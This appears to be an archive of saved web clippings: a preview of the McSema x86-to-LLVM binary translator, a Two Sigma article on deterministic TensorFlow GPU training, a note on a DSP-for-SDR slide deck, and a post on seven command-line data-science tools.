6/24/2014 5:08:25 PM
Author:

Tags:
binary translation llvm


A Preview of McSema
On June 28th Artem Dinaburg and Andrew Ruef will be speaking at REcon 2014 about a project named McSema.
McSema is a framework for translating x86 binaries into LLVM bitcode. This translation is the opposite of what happens inside a compiler. A compiler translates LLVM bitcode to x86 machine code. McSema translates x86 machine code into LLVM bitcode.
Why would we do such a crazy thing?
Because we wanted to analyze existing binary applications, and reasoning about LLVM bitcode is much easier than reasoning about x86 instructions.
Not only is it easier to reason about LLVM bitcode, but it is easier to manipulate and re-target bitcode to a different architecture. There are many program analysis tools (e.g. KLEE, PAGAI, LLBMC) written to work on LLVM bitcode that can now be used on existing applications. Additionally it becomes much simpler to transform applications in complex ways while maintaining original application functionality.
McSema brings the world of LLVM program analysis and manipulation tools to binary executables. There are other x86 to LLVM bitcode translators, but McSema has several advantages:
· McSema separates control flow recovery from translation, permitting the use of custom control flow recovery front-ends.
· McSema supports FPU instructions.
· McSema is open source and licensed under a permissive license.
· McSema is documented, works, and will be available soon after our REcon talk.
This blog post will be a preview of McSema and will examine the challenges of translating a simple function that uses floating point arithmetic from x86 instructions to LLVM bitcode. The function we will translate is called timespi. It it takes one argument, k and returns the value of k * PI. Source code for timespi is below.
long double timespi(long double k) {
    long double pi = 3.14159265358979323846;
    return k*pi;
}
When compiled with Microsoft Visual Studio 2010, the assembly looks like the IDA Pro screenshot below.


This is what the original timespi function looks like in IDA.
After translating to LLVM bitcode with McSema and then re-emitting the bitcode as an x86 binary, the assembly looks much different.


How timespi looks after translation to LLVM and re-emission back as an x86 binary. The new code is considerably larger. Below, we explain why.
You may be saying to yourself: “Wow, that much code bloat for such a small function? What are these guys doing?”
We specifically wanted to use this example because it shows floating point support — functionality that is unique to McSema, and because it showcases difficulties inherent in x86 to LLVM bitcode translation.
Translation Background
McSema models x86 instructions as operations on a register context. That is, there is a register context structure that contains all registers and flags and an instruction semantics are expressed as modifications of structure members. This concept is easiest to understand with a simplified pseudocode example. An operation such as ADD EAX, EBX would be translated to context[EAX] += context[EBX].
Translation Difficulties
Now let’s examine why a small function like timespi presents serious translation challenges.
The value of PI is read from the data section.
Control flow recovery must detect that the first FLD instruction references data and correctly identify the data size. McSema separates control flow recovery from translation, and hence can leverage IDA’s excellent CFG recovery via an IDAPython script.
The translation needs to support x86 FPU registers, FPU flags, and control bits.
The FPU registers aren’t like integer registers. Integer registers (EAX, ECX, EBX, etc.) are named and independent. Instructions referencing EAX will always refer to the same place in a register context.
FPU registers are a stack of 8 data registers (ST(0) through ST(7)), indexed by the TOP flag. Instructions referencing ST(i) actually refer to st_registers[(TOP + i) % 8] in a register context.

This is Figure 8-2 from the Intel IA-32 Software Development Manual. It very nicely depicts the FPU data registers and how they are implicitly referenced via the TOP flag.
Integer registers are defined solely by register contents. FPU registers are partially defined by register contents and partially by the FPU tag word. The FPU tag word is a bitmap that defines whether the contents of a floating point register are:
· Valid (that is, a normal floating point value)
· The value zero
· A special value such as NaN or Infinity
· Empty (the register is unused)
To determine the value of an FPU register, one must consult both the FPU tag word and the register contents.
The translation needs to support at least the FLD, FSTP, and FMUL instructions.
The actual instruction operation such as loads, stores, and multiplication is fairly straightforward to support. The difficult part is implementing FPU execution semantics.
For instance, the FPU stores state about FPU instructions, like:
· Last Instruction Pointer: the location of the last executed FPU instruction
· Last Data Pointer: the address of the latest memory operand to an FPU instruction
· Opcode: The opcode of the last executed FPU instruction
Some of these concepts are easier to translate to LLVM bitcode than others. Storing the address of the last memory operand translates very well: if the translated instruction references memory, store the memory address in the last data pointer field of the register context. Other concepts simply don’t translate. As an example, what does the “last instruction pointer” mean when a single FPU instruction is translated into multiple LLVM operations?
Self-referencing state isn’t the end of translation difficulties. FPU flags like the precision control and rounding control flags affect instruction operation. The precision control flag affects arithmetic operation, not the precision of stored registers. So one can load a double extended precision values in ST(0) and ST(1) via FLD, but FMUL may store a single precision result in ST(0).
Translation Steps
Now that we’ve explored the difficulties of translation, let’s look at the steps needed to translate just the core of timespi, the FMUL instruction. The IA-32 Software Development Manual manual defines this instance of FMUL as “Multiply ST(0) by m64fp and store result in ST(0).” Below are just some of the steps required to translate FMUL to LLVM bitcode.
· Check the FPU tag word for ST(0), make sure its not empty.
· Read the TOP flag.
· Read the value from st_registers[TOP]. Unless the FPU tag word said the value is zero, in which case just read a zero.
· Load the value pointed to by m64fp.
· Do the multiplication.
· Check the precision control flag. Adjust the result precision of the result as needed.
· Write the adjusted result into st_registers[TOP].
· Update the FPU tag word for ST(0) to match the result. Maybe we multiplied by zero?
· Update FPU status flags in the register context. For FMUL, this is just the C1 flag.
· Update the last FPU opcode field
· Did our instruction reference data? Sure did! Update the last FPU data field to m64fp.
· Skip updating the last FPU instruction field since it doesn’t really map to LLVM bitcode... for now
Thats a lot of work for a single instruction, and the list isn’t even complete. In addition to the work of translating raw instructions, there are additional steps that must be taken on function entry and exit points, for external calls and for functions that have their address taken. Those additional details will be covered during the REcon talk.
Conclusion
Translating floating point operations is a tricky, difficult business. Seemingly simple floating point instructions hide numerous operations and translate to a large amount of LLVM bitcode. The translated code is large because McSema exposes the hidden complexity of floating point operations. Considering that there have been no attempts to optimize instruction translation, we think the current output is pretty good.
For a more detailed look at McSema, attend Artem and Andrew’s talk at REcon and keep following the Trail of Bits blog for more announcements.
﻿https://www.twosigma.com/insights/a-workaround-for-non-determinism-in-tensorflow 
A workaround for non-determinism in TensorFlow | Two Sigma
Created:
5/28/2017 11:09:15 AM
Updated:
5/28/2017 11:17:17 AM
Author:

Tags:
GPU machine-learning




TECHNOLOGY
A Workaround for Non-Determinism in TensorFlow
BY TWO SIGMA ON MAY 24, 2017                

Speed and repeatability are crucial in machine learning, but the latter is not guaranteed in TensorFlow. A Two Sigma researcher demonstrates a workaround to attain repeatable results.
Key factors in machine learning research are the speed of the computations and the repeatability of results. Faster computations can boost research efficiency, while repeatability is important for controlling and debugging experiments. For a broad class of machine learning models including neural networks, training computations can be sped up significantly by running on GPUs. However, this speedup is sometimes at the expense of repeatability. For example, in TensorFlow, a popular framework for training machine learning models, repeatability is not guaranteed for a common set of operations on the GPU. Two Sigma researcher Ben Rossi demonstrates this problem for a neural network trained to recognize MNIST digits, and a workaround to enable training the same network on GPUs with repeatable results.
Note that these results were produced on the Amazon cloud with the Deep Learning AMI and TensorFlow 1.0, running on a single NVidia Grid K520 GPU.
Caveat Emptor. The lack of repeatability is often acceptable since the final result (say in terms of out-sample accuracy) is not significantly affected by GPU non-determinism. However, we've found that in some applications the final result can be quite different due to this non-determinism. This is because small differences due to GPU non-determinism can accumulate over the course of training, leading to rather different final models. In such cases, the method outlined in this article can be used to ensure repeatability of experiments. However, repeatability achieved with this method is not a panacea since this does not address the fundamental instability of training. A fuller discussion of that is outside the scope of this article, but in our view the chief benefit of repeatability is to ensure that we have accounted for all sources of variation. Once we have that level of control, then we can go back and explore more carefully the stability of training as a function of the source of variation. In particular, even the GPU non-determinism may be explored in this deterministic setting by controlling how mini-batches are constructed. A second benefit of repeatability is that is makes it easier to write regression tests for the training framework.
Non-Determinism with GPU Training
Let us demonstrate the problem on the code to train a simple MNIST network (shown in the Appendix) using the GPU. When we run the code to train the model twice, we obtain the following output.
$ python3 mnist_gpu_non_deterministic.py
epoch =  0 correct = 9557 loss = 0.10369960
epoch =  1 correct = 9729 loss = 0.06410284
epoch =  2 correct = 9793 loss = 0.04644223
epoch =  3 correct = 9807 loss = 0.03983842
epoch =  4 correct = 9832 loss = 0.03518861

$ python3 mnist_gpu_non_deterministic.py
epoch =  0 correct = 9557 loss = 0.10370079
epoch =  1 correct = 9736 loss = 0.06376658
epoch =  2 correct = 9796 loss = 0.04633443
epoch =  3 correct = 9806 loss = 0.03965696
epoch =  4 correct = 9836 loss = 0.03528859
Unfortunately, the output of the second run does not match the output of the first run. In fact, at the end of these two runs, we have two different networks that disagree on at least 4 examples in the test set (9832 correct vs. 9836 correct). Although the difference here is small, as noted above in some applications, there can be a much larger difference.
Narrowing Down the Source of Non-Determinism
Addressing a Known Problem: reduce_sum
We already suspect there is non-determinism in reduce_sum on the GPU from searching Google. Let us verify this is the case, propose an alternative, and verify the alternative does not suffer from the problem. First, note that we have another TensorFlow primitive that does reduction and hopefully does not suffer from non-determinism: matmul. To implement reduce_sum of a column vector as a matrix multiplication, we can multiply its transpose by a column of ones. Below, we show code that applies both reduce_sum and our alternative, reduce_sum_det to a column vector input with 100k elements, 100 times each. We look at the difference between max() and min() of the 100 results for each. For a deterministic computation, we expect this to be zero.
1
import tensorflow as tf
2
import numpy as np
3
N = 100
4
S = (1, 100000)
5
np.random.seed(1)
6
r = np.random.normal(0, 100, S).astype(np.float32)
7
x = tf.placeholder(tf.float32, S)
8
examples = {
9
'reduce_sum': tf.reduce_sum(x),
10
'reduce_sum_det': tf.matmul(x, tf.ones_like(x), transpose_b=True),
11
}
12
s = tf.Session()
13
results = {
14
key: np.array([s.run(val, feed_dict={x:r}) for j in range(N)])
15
for key, val in examples.items()
16
}
17
for key, val in results.items():
18
print('%20s mean = %.8f max-min = %.6f' % (key, val.mean(), val.max() - val.min()))
view raw reduce_sum_test.py hosted with ❤ by GitHub
The output for the above script is shown below.
reduce_sum_det mean = 52530.28125000 max-min = 0.000000
    reduce_sum mean = 52530.28125000 max-min = 0.019531
The output confirms that reduce_sum is indeed non-deterministic. Encouragingly, we also see that reduce_sum_det always computes the same result. So, let us simply replace reduce_sum with reduce_sum_det. Note that in practice, it is a bit more complicated than this, since we must account correctly for shapes, shown below:
1
def reduce_sum_det(x):
2
v = tf.reshape(x, [1, -1])
3
return tf.reshape(tf.matmul(v, tf.ones_like(v), transpose_b=True), [])
view raw reduce_sum_det.py hosted with ❤ by GitHub
Done, Right? Not Quite.
It turns out that reduce_sum also shows up when computing gradients in our MNIST network, but only for some of the variables. In particular: we see reduce_sum for the bias gradients, but not the weights matrix gradients.
Why does reduce_sum appear when computing bias gradients? If we examine the expression tf.matmul(prev, w) + b in our compute_next function, we see that the matmul term is a matrix whose first dimension is the minibatch size, whereas b is a vector. Therefore, we must broadcast b to the size of the matrix when summing the two terms. Moreover, the gradient for b is back-propagated through this broadcast. When backpropagating gradients through a broadcast, it is necessary to sum the incoming gradients along the axis being broadcast. This is accomplished with reduce_sum, as shown here.
However, there is another way to specify a bias for each network layer that is consistent with how we specify weights, and avoids reduce_sum: we can pack the bias vector into the weights matrix, if we augment the input to each layer with a fixed column of ones. The algebra works out to the same result, with matmul doing the summing for us. Furthermore, matmul has the nice property that its corresponding gradient for either operand is also a matmul, i.e. it is closed under back-propagation.
1
def compute_next_det(prev, out_size):
2
"""Given previous layer output and size of next layer, compute next layer output"""
3
w_initial = tf.random_normal([prev.get_shape().as_list()[1], out_size], 0, .01, dtype=tf.float32, seed=seed)
4
w = tf.Variable(concat_constant(w_initial, column=False, constant=0.0))
5
return tf.nn.relu(tf.matmul(concat_constant(prev, column=True, constant=1.0), w))
6

7
def concat_constant(x, column=True, constant=1.0):
8
"""Augment a matrix with an extra column or row with a constant value"""
9
constant = tf.reshape(tf.constant(constant, dtype=tf.float32), [1, 1])
10
shape = tf.stack([tf.shape(x)[0], 1] if column else [1, tf.shape(x)[1]])
11
tiled = tf.tile(constant, shape)
12
return tf.concat([x, tiled], 1 if column else 0)
view raw compute_next_det.py hosted with ❤ by GitHub
Putting it Together: Deterministic Training on the GPU
The following is the output of running the deterministic training script twice:
$ python3 mnist_gpu_deterministic.py
epoch =  0 correct = 9582 loss = 0.10278721
epoch =  1 correct = 9734 loss = 0.06415118
epoch =  2 correct = 9798 loss = 0.04612210
epoch =  3 correct = 9818 loss = 0.03934029
epoch =  4 correct = 9840 loss = 0.03456130

$ python3 mnist_gpu_deterministic.py
epoch =  0 correct = 9582 loss = 0.10278721
epoch =  1 correct = 9734 loss = 0.06415118
epoch =  2 correct = 9798 loss = 0.04612210
epoch =  3 correct = 9818 loss = 0.03934029
epoch =  4 correct = 9840 loss = 0.03456130
Success! The two runs perfectly match.
Conclusions and Discussion
We confirmed that reduce_sum is non-deterministic on the GPU, and found a workaround using matmul. However, we could not simply replace reduce_sum with our deterministic version, since reduce_sum shows up in the gradient computation whenever a broadcast is involved. To work around this, we switched to augmenting layer inputs with a column of ones and storing biases in our weights matrix.
How do we know that matmul is truly deterministic and not simply less non-deterministic than reduce_sum? Are there guarantees? In TensorFlow, the matmul operation on the GPU relies on NVidia's cuBLAS library, and the cuBLAS documentation says that "by design, all CUBLAS API routines from a given toolkit version generate the same bit-wise results at every run when executed on GPUs with the same architecture and the same number of SMs." So, we can indeed rely on matmul to provide repeatable results.
Note that while this result may be useful to others writing fully connected TensorFlow networks and training them from scratch, it may not apply to higher level frameworks that ultimately rely on the TensorFlow operations that are non-deterministic.
As a final question, why does TensorFlow have non-deterministic behavior by default? Operations like reduce_sum can be faster than matmul since they rely on CUDA atomics. Though this speedup depends on the size of the data and the surrounding computation, presumably there is enough of a speedup in many cases to justify the loss of repeatability, particularly when the application is not sensitive to non-determinism.
 
Appendix: MNIST Data, Network and Training Code
MNIST Data
We download and gunzip the MNIST image and label data from Yann Lecun's website.
1
curl -O http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz
2
curl -O http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz
3
curl -O http://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz
4
curl -O http://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz
5
gunzip *.gz
view raw download_mnist.sh hosted with ❤ by GitHub
Load into Numpy Array in Python
With numpy we can mmap the ND array data in as-is.
1
import numpy as np, tensorflow as tf, struct, os
2

3
def read_mnist(fname):
4
f = open(fname, 'rb')
5
magic, = struct.unpack('>i', f.read(4))
6
assert (magic >> 8) == 0x08, 'Expected unsigned byte data'
7
rank = magic & 0xFF
8
shape = tuple(struct.unpack('>{}'.format('i' * rank), f.read(4 * rank)))
9
f.close()
10
return np.memmap(file_path, dtype=np.uint8, mode='c', offset=4*(rank+1), shape=shape)
11

12
tx, ty, vx, vy = map(read_mnist, [
13
'train-images-idx3-ubyte', 'train-labels-idx1-ubyte',
14
't10k-images-idx3-ubyte', 't10k-labels-idx1-ubyte'
15
])
view raw read_mnist.py hosted with ❤ by GitHub
We can verify we've loaded the data correctly with matplotlib.
1
import matplotlib.pyplot as plt
2
plt.figure()
3
plt.imshow(tx[5], cmap='gray_r')
4
plt.show()
view raw plot_mnist.py hosted with ❤ by GitHub

Example digit in MNIST
Preprocess Data for Net
Before training a network, we scale the pixel values to the range 0 - 1 and transform the labels into a "one hot" representation.
1
tx = tx / 255.
2
vx = vx / 255.
3
ty = np.array([np.array([1. if i == j else 0. for j in range(10)]) for i in ty])
4
vy = np.array([np.array([1. if i == j else 0. for j in range(10)]) for i in vy])
view raw preprocess_mnist.py hosted with ❤ by GitHub
Network Construction (Non-Deterministic)
We construct a fully-connected neural network to classify MNIST digits with two hidden layers of size 1000 each. We set the input to have a dynamic shape (None). This is useful to be able to run the same network both for training with minibatches and inference on a single example.
1
def compute_next(prev, out_size):
2
"""Given previous layer output and size of next layer, compute next layer output"""
3
w = tf.Variable(tf.random_normal([prev.get_shape().as_list()[1], out_size], 0, .01, dtype=tf.float32, seed=seed))
4
b = tf.Variable(tf.zeros(dtype=tf.float32, shape=[out_size]))
5
return tf.nn.relu(tf.matmul(prev, w) + b)
6

7
seed = 1
8
ww, hh, oo = 28, 28, 10
9
num_hidden = 2
10
hidden_width = 1000
11
x = tf.placeholder(tf.float32, [None, hh*ww], name='x')
12
y = tf.placeholder(tf.float32, [None, oo], name='y')
13
current = x
14
for i in range(num_hidden):
15
current = compute_next(current, hidden_width)
16
o = compute_next(current, oo)
17
diff = o - y
18
loss = tf.reduce_sum(diff*diff) / tf.cast(tf.shape(x)[0], dtype=tf.float32)
19
train = tf.train.AdamOptimizer().minimize(loss)
view raw network_non_deterministic.py hosted with ❤ by GitHub
We use minibatches of size 1000 and Adam to optimize the loss, which is the mean squared error (MSE) between the target classes and the network outputs.
Network Construction (Deterministic)
To correct for the behavior of reduce_sum and non-deterministic reduction when broadcasting biases, as described in the main article we implement our own version of reduce_sum that uses matmul, and we implement biases by augmenting the weights matrix as well as all previous layer inputs with a ones column.
1
seed = 1
2
ww, hh, oo = 28, 28, 10
3
num_hidden = 2
4
hidden_width = 1000
5
x = tf.placeholder(tf.float32, [None, hh*ww], name='x')
6
y = tf.placeholder(tf.float32, [None, oo], name='y')
7
current = x
8
for i in range(num_hidden):
9
current = compute_next_det(current, hidden_width)
10
o = compute_next_det(current, oo)
11
diff = o - y
12
loss = reduce_sum_det(diff*diff) / tf.cast(tf.shape(x)[0], dtype=tf.float32)
13
train = tf.train.AdamOptimizer().minimize(loss)
view raw network_deterministic.py hosted with ❤ by GitHub
Training Code (SGD)
1
mb_size = 1000
2
with tf.Session() as sess:
3
np.random.seed(seed)
4
sess.run(tf.global_variables_initializer())
5
sh = np.arange(len(tx))
6
max_epochs=5
7
vxx = np.split(vx, len(vx) / mb_size)
8
vyy = np.split(vy, len(vy) / mb_size)
9
for e in range(max_epochs):
10
np.random.shuffle(sh)
11
xs = np.split(tx[sh], len(tx) / mb_size)
12
ys = np.split(ty[sh], len(ty) / mb_size)
13
for mbx, mby in zip(xs, ys):
14
sess.run(train, feed_dict={x: mbx.reshape(mb_size, ww*hh), y: mby})
15
correct = 0
16
vlosses = []
17
for vbx, vby in zip(vxx, vyy):
18
out, vloss = sess.run((o, loss), feed_dict={x: vbx.reshape(mb_size, ww*hh), y: vby})
19
correct += np.sum(np.argmax(out, axis=1) == np.argmax(vby, axis=1))
20
vlosses.append(vloss)
21
print('epoch = %2d correct = %4d loss = %.8f' % (e, correct, np.mean(vlosses)))
view raw sgd.py hosted with ❤ by GitHub
Source
The complete source code for the deterministic and non-deterministic MNIST experiments is available under the Apache License, version 2.0:
mnist_gpu_non_deterministic.py
mnist_gpu_deterministic.py
algorithms artificial intelligence deep learning neural networks tensorflow
This article is not an endorsement by Two Sigma of the papers discussed, their viewpoints or the companies discussed. The views expressed above reflect those of the authors and are not necessarily the views of Two Sigma Investments, LP or any of its affiliates (collectively, “Two Sigma”).  The information presented above is only for informational and educational purposes and is not an offer to sell or the solicitation of an offer to buy any securities or other instruments. Additionally, the above information is not intended to provide, and should not be relied upon for investment, accounting, legal or tax advice. Two Sigma makes no representations, express or implied, regarding the accuracy or completeness of this information, and the reader accepts all risks in relying on the above information for any purpose whatsoever. Click here for other important disclaimers and disclosures.
﻿http://i.imgur.com/2wkcW.jpg 
2wkcW.jpg (JPEG Image, 412x702 pixels) - Scaled (92%)
Created:
12/29/2011 9:25:29 PM
Updated:
12/29/2011 9:25:29 PM
Author:

Tags:



﻿http://visual-dsp.switchb.org/ 
A Visual Introduction to DSP for SDR by Kevin Reid
Created:
3/4/2015 11:11:43 AM
Updated:
3/4/2015 11:11:43 AM
Author:

Tags:



A Visual Introduction to DSP for SDR


This is an animated slide deck providing a tour of digital signal processing topics relevant to implementation of software-defined radios, focusing on building visual/geometric intuition for signals.
Topics covered:
· Complex (IQ) and analytic signals.
· Filtering (FIR and IIR).
· Frequency shifting.
· Sampling rates and the Nyquist limit.
· The discrete Fourier transform (DFT) and fast Fourier transform (FFT).
View the interactive slides. Requires WebGL and getUserMedia. In practice, requires Chrome; problems (audio processing stopping after some time) have been seen on Firefox.
(Keyboard controls: left/right arrows to change slides. Space to pause/resume live signal. T to pause signal until a loud moment and resume.)
Or, watch a recording of me giving the presentation at Balint Seeber’s Cyberspectrum, November 2014.
Source code, and issue tracker with future plans.
Note: The presentation will request access to your microphone. This access is used only to display live audio. The audio will not leave your computer, and the page is on a subdomain so that your authorization doesn’t carry over to anything else I might make. I also plan to provide non-microphone sources such as a built-in signal generator or audio files, but that's not done yet.
1. Kevin Reid
﻿http://jeroenjanssens.com/2013/09/19/seven-command-line-tools-for-data-science.html 
7 command-line tools for data science
Created:
9/20/2013 9:26:58 PM
Updated:
9/20/2013 9:26:58 PM
Author:

Tags:
bookmark statistics awesome


7 command-line tools for data science 
Tweet 
Tools suggested by others can be found at the bottom of the post.
Data science is OSEMN (pronounced as awesome). That is, it involves Obtaining, Scrubbing, Exploring, Modeling, and iNterpreting data. As a data scientist, I spend quite a bit of time on the command-line, especially when there's data to be obtained, scrubbed, or explored. And I'm not alone in this. Recently, Greg Reda discussed how the classics (e.g., head, cut, grep, sed, and awk) can be used for data science. Prior to that, Seth Brown discussed how to perform basic exploratory data analysis in Unix .
I would like to continue this discussion by sharing seven command-line tools that I have found useful in my day-to-day work. The tools are: jq , json2csv , csvkit , scrape, xml2json , sample, and Rio. (The home-made tools scrape, sample, and Rio can be found in this data science toolbox .) Any suggestions, questions, comments, and even pull requests are more than welcome. OSEMN, let's get started with our first tool: jq.
1. jq - sed for JSON 
JSON is becoming an increasingly common data format, especially as APIs are appearing everywhere. I remember cooking up the ugliest grep and sed incantations in order to process JSON. Thanks to jq, those days are now in the past.
Imagine we're interested in the candidate totals of the 2008 presidential election. It so happens that the New York Times has a Campaign Finance API . (You can get your own API keys if you want to access any of their APIs.) Let's get some JSON using curl:
curl -s 'http://api.nytimes.com/svc/elections/us/v3/finances/2008/president/totals.json?api-key=super-secret' > nyt.json
where -s puts curl in silent mode. In its simplest form, i.e., jq '.', the tool transforms the incomprehensible API response we got:
{"status":"OK","base_uri":"http://api.nytimes.com/svc/elections/us/v3/finances/2008/","cycle":2008,"copyright":"Copyright (c) 2013 The New York Times Company. All Rights Reserved.","results":[{"candidate_name":"Obama, Barack","name":"Barack Obama","party":"D",
into nicely indented and colored output:
< nyt.json jq '.' | head
{
  "results": [
    {
      "candidate_id": "P80003338",
      "date_coverage_from": "2007-01-01",
      "date_coverage_to": "2008-11-24",
      "candidate_name": "Obama, Barack",
      "name": "Barack Obama",
      "party": "D", 
Note that the output isn't necessarily in the same order as the input. Besides pretty printing, jq can also select, filter, and format JSON data, as illustrated by the following command, which returns the name, cash, and party of each candidate that had at least $1,000,000 in cash:
< nyt.json jq -c '.results[] | {name, party, cash: .cash_on_hand} | select(.cash | tonumber > 1000000)' 
{"cash":"29911984.0","party":"D","name":"Barack Obama"}
{"cash":"32812513.75","party":"R","name":"John McCain"}
{"cash":"4428347.5","party":"D","name":"John Edwards"}
Please refer to the jq manual to read about the many other things it can do, but don't expect it to solve all your data munging problems. Remember, the Unix philosophy favors small programs that do one thing and do it well. And jq's functionality is more than sufficient I would say! Now that we have the data we need, it's time to move on to our second tool: json2csv.
2. json2csv - convert JSON to CSV 
While JSON is a great format for interchanging data, it's rather unsuitable for most command-line tools. Not to worry, we can easily convert JSON into CSV using json2csv . Assuming that we stored the data from the last step in million.json, simply invoking
< million.json json2csv -k name,party,cash
will convert it to some nicely comma-separated values:
Barack Obama,D,29911984.0
John McCain,R,32812513.75
John Edwards,D,4428347.5
Having the data in CSV format allows us to use the classic tools such as cut -d, and awk -F,. Others like grep and sed don't really have a notion of fields. Since CSV is the king of tabular file formats, according to the authors of csvkit , they created, well, csvkit.
3. csvkit - suite of utilities for converting to and working with CSV 
Rather than being one tool, csvkit is a collection of tools that operate on CSV data. Most of these tools expect the CSV data to have a header, so let's add one. (Ideally, json2csv would have added the header.)
echo name,party,cash | cat - million.csv > million-header.csv
We can, for example, sort the candidates by cash with csvsort and display the data using csvlook:
< million-header.csv csvsort -rc cash | csvlook

|---------------+-------+--------------|
|  name         | party | cash         |
|---------------+-------+--------------|
|  John McCain  | R     | 32812513.75  |
|  Barack Obama | D     | 29911984.0   |
|  John Edwards | D     | 4428347.5    |
|---------------+-------+--------------|
Looks like the MySQL console doesn't it? Speaking of databases, you can insert the CSV data into an sqlite database as follows (many other databases are supported as well):
csvsql --db sqlite:///myfirst.db --insert million-header.csv
sqlite3 myfirst.db
sqlite> .schema million-header
CREATE TABLE "million-header" (
    name VARCHAR(12) NOT NULL, 
    party VARCHAR(1) NOT NULL, 
    cash FLOAT NOT NULL
);
In this case, the database columns have the correct data types because the type is inferred from the CSV data. Other tools within csvkit that might be of interest are: in2csv, csvgrep, and csvjoin. And with csvjson, the data can even be converted back to JSON. All in all, csvkit is worth checking out .
4. scrape - HTML extraction using XPath or CSS selectors 
JSON APIs sure are nice, but they aren't the only source of data; a lot of it is unfortunately still embedded in HTML. scrape is a python script I put together that employs the lxml and cssselect packages to select certain HTML elements by means of an XPath query or CSS selector . (I tried scrape.pl , but I couldn't get it to work properly. Moreover, rather than processing HTML from stdin, it expects a url and then downloads the HTML itself.) Let's extract the table from this Wikipedia article that lists the border and area ratio of each country .
curl -s 'http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio' | scrape -b -e 'table.wikitable > tr:not(:first-child)' | head
<!DOCTYPE html>
<html>
<body>
<tr>
<td>1</td>
<td>Vatican City</td>
<td>3.2</td>
<td>0.44</td>
<td>7.2727273</td>
</tr>
The -b argument lets scrape enclose the output with <html> and <body> tags, which is sometimes required by xml2json to convert correctly the HTML to JSON.
5. xml2json - convert XML to JSON 
As its name implies, xml2json takes XML (and HTML) as input and returns JSON as output. Therefore, xml2json is a great liaison between scrape and jq.
curl -s 'http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio' | scrape -be 'table.wikitable > tr:not(:first-child)' | xml2json | jq -c '.html.body.tr[] | {country: .td[1][], border: .td[2][], surface: .td[3][], ratio: .td[4][]}' | head
{"ratio":"7.2727273","surface":"0.44","border":"3.2","country":"Vatican City"}
{"ratio":"2.2000000","surface":"2","border":"4.4","country":"Monaco"}
{"ratio":"0.6393443","surface":"61","border":"39","country":"San Marino"}
{"ratio":"0.4750000","surface":"160","border":"76","country":"Liechtenstein"}
{"ratio":"0.3000000","surface":"34","border":"10.2","country":"Sint Maarten (Netherlands)"}
{"ratio":"0.2570513","surface":"468","border":"120.3","country":"Andorra"}
{"ratio":"0.2000000","surface":"6","border":"1.2","country":"Gibraltar (United Kingdom)"}
{"ratio":"0.1888889","surface":"54","border":"10.2","country":"Saint Martin (France)"}
{"ratio":"0.1388244","surface":"2586","border":"359","country":"Luxembourg"}
{"ratio":"0.0749196","surface":"6220","border":"466","country":"Palestinian territories"}
Of course this JSON data could then be piped into json2csv and so forth.
6. sample - when you're in debug mode 
The second tool I made is sample . (It's based on two scripts in bitly's data_hacks , which contains some other tools worth checking out.) When you're in the process of formulating your data pipeline and you have a lot of data, then debugging your pipeline can be cumbersome. In that case, sample might be useful. The tool serves three purposes (which isn't very Unix-minded, but since it's mostly useful when you're in debug mode, that's not such a big deal).
The first purpose of sample is to get a subset of the data by outputting only a certain percentage of the input on a line-by-line basis. The second purpose is to add some delay to the output. This comes in handy when the input is a constant stream (e.g., the Twitter firehose), and the data comes in too fast to see what's going on. The third purpose is to run only for a certain time. The following invocation illustrates all three purposes.
seq 10000 | sample -r 20% -d 1000 -s 5 | jq '{number: .}'
This way, every input line has a 20% chance of being forwarded to jq. Moreover, there is a 1000 millisecond delay between each line and after five seconds sample will stop entirely. Please note that each argument is optional. In order to prevent unnecessary computation, try to put sample as early as possible in your pipeline (the same argument holds for head and tail). Once you're done debugging you can simply take it out of the pipeline.
7. Rio - making R part of the pipeline 
This post wouldn't be complete without some R. It's not straightforward to make R/Rscript part of the pipeline since they don't work with stdin and stdout out of the box. Therefore, as a proof of concept, I put together a bash script called Rio .
Rio works as follows. First, the CSV provided to stdin is redirected to a temporary file and lets R read that into a data frame df. Second, the specified commands in the -e option are executed. Third, the output of the last command is redirected to stdout. Allow me to demonstrate three one-liners that use the Iris dataset (don't mind the url).
Display the five-number-summary of each field.
curl -s 'https://raw.github.com/pydata/pandas/master/pandas/tests/data/iris.csv' > iris.csv
< iris.csv Rio -e 'summary(df)'
  SepalLength      SepalWidth     PetalLength      PetalWidth   
 Min.   :4.300   Min.   :2.000   Min.   :1.000   Min.   :0.100  
 1st Qu.:5.100   1st Qu.:2.800   1st Qu.:1.600   1st Qu.:0.300  
 Median :5.800   Median :3.000   Median :4.350   Median :1.300  
 Mean   :5.843   Mean   :3.054   Mean   :3.759   Mean   :1.199  
 3rd Qu.:6.400   3rd Qu.:3.300   3rd Qu.:5.100   3rd Qu.:1.800  
 Max.   :7.900   Max.   :4.400   Max.   :6.900   Max.   :2.500  
     Name          
 Length:150        
 Class :character  
 Mode  :character 
If you specify the -s option, the sqldf package will be imported. In case tthe output is a data frame, CSV will be written to stdout. This enables you to further process that data using other tools.
< iris.csv Rio -se 'sqldf("select * from df where df.SepalLength > 7.5")' | csvlook
|--------------+------------+-------------+------------+-----------------|
|  SepalLength | SepalWidth | PetalLength | PetalWidth | Name            |
|--------------+------------+-------------+------------+-----------------|
|  7.6         | 3          | 6.6         | 2.1        | Iris-virginica  |
|  7.7         | 3.8        | 6.7         | 2.2        | Iris-virginica  |
|  7.7         | 2.6        | 6.9         | 2.3        | Iris-virginica  |
|  7.7         | 2.8        | 6.7         | 2          | Iris-virginica  |
|  7.9         | 3.8        | 6.4         | 2          | Iris-virginica  |
|  7.7         | 3          | 6.1         | 2.3        | Iris-virginica  |
|--------------+------------+-------------+------------+-----------------|
If you specify the -g option, ggplot2 gets imported and a ggplot object called g with df as the data is initialized. If the final output is a ggplot object, a PNG will be written to stdout.
< iris.csv Rio -ge 'g+geom_point(aes(x=SepalLength,y=SepalWidth,colour=Name))' > iris.png

I made this tool so that I could take advantage of the power of R on the command-line. Of course it has its limits, but at least there's no need to learn gnuplot any more.
Conclusion 
I have shown you seven command-line tools that I use in my daily work as a data scientist. While each tool is useful in its own way, I often find myself combining them with, or just resorting to, the classics such as grep, sed, and awk. Combining such small tools into a larger pipeline is what makes them really powerful.
I'm curious to hear what you think about this list and what command-line tools you like to use. Also, if you've made any tools yourself, you're more than welcome to add them to this data science toolbox .
